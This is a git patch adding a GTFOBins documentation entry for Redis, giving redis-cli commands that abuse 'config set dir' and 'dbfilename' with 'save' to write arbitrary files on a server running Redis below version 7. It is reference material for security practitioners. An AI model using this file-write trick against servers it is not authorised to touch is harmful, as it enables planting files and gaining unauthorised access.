From d1d30414fe6d609059bba4794501fcd397e7d3e3 Mon Sep 17 00:00:00 2001 From: Mark Davison <13379202+varspare@users.noreply.github.com> Date: Sat, 11 Feb 2023 19:29:37 +0000 Subject: [PATCH] Adding Redis file write Co-authored-by: Andrea Cardaci --- _gtfobins/redis.md | 13 +++++++++++++ 1 file changed, 13 insertions(+) create mode 100644 _gtfobins/redis.md diff --git a/_gtfobins/redis.md b/_gtfobins/redis.md new file mode 100644 index 0000000..62f7663 --- /dev/null +++ b/_gtfobins/redis.md @@ -0,0 +1,13 @@ +--- +description: This works with versions lower than 7. +functions: + file-write: + - description: Write files on the server running Redis at the specified location. Written data will appear amongst the database dump, thus it might not be suitable for all kind of purposes. + code: | + IP=127.0.0.1 + redis-cli -h $IP + config set dir dir_to_write_to + config set dbfilename file_to_write + set x "DATA" + save +---